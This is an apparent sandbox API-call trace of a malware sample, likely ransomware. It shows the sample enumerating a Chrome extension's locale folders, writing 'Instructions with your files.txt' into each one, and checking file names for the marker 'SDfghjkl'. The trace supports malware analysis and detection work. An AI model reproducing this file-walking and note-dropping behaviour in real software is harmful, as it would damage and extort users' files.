[0129.099] GetProcessHeap () returned 0x810000
[0129.099] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.099] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0129.099] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned 141
[0129.099] GetProcessHeap () returned 0x810000
[0129.099] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.099] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*") returned 143
[0129.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\.") returned 143
[0129.100] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\..") returned 144
[0129.100] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 155
[0129.100] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.100] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.100] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\Instructions with your files.txt") returned 174
[0129.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.110] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.111] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.111] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.111] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.111] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.111] CloseHandle (hObject=0x134) returned 1
[0129.112] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.112] GetProcessHeap () returned 0x810000
[0129.112] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.112] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0129.112] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned 141
[0129.112] GetProcessHeap () returned 0x810000
[0129.112] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.112] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*") returned 143
[0129.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.113] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\.") returned 143
[0129.113] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.113] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\..") returned 144
[0129.113] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.113] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 155
[0129.113] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.113] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.113] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\Instructions with your files.txt") returned 174
[0129.113] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.113] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.114] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.115] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.115] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.115] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.115] CloseHandle (hObject=0x134) returned 1
[0129.115] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.115] GetProcessHeap () returned 0x810000
[0129.115] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.115] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0129.115] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned 141
[0129.115] GetProcessHeap () returned 0x810000
[0129.115] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.115] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*") returned 143
[0129.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.115] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\.") returned 143
[0129.115] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.115] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\..") returned 144
[0129.115] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.116] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 155
[0129.116] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.116] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.116] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\Instructions with your files.txt") returned 174
[0129.116] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.116] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.117] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.117] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.117] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.117] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.117] CloseHandle (hObject=0x134) returned 1
[0129.117] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.117] GetProcessHeap () returned 0x810000
[0129.117] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.117] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
[0129.117] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned 141
[0129.117] GetProcessHeap () returned 0x810000
[0129.117] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.118] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*") returned 143
[0129.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.118] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\.") returned 143
[0129.118] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.119] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\..") returned 144
[0129.119] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.119] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 155
[0129.119] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
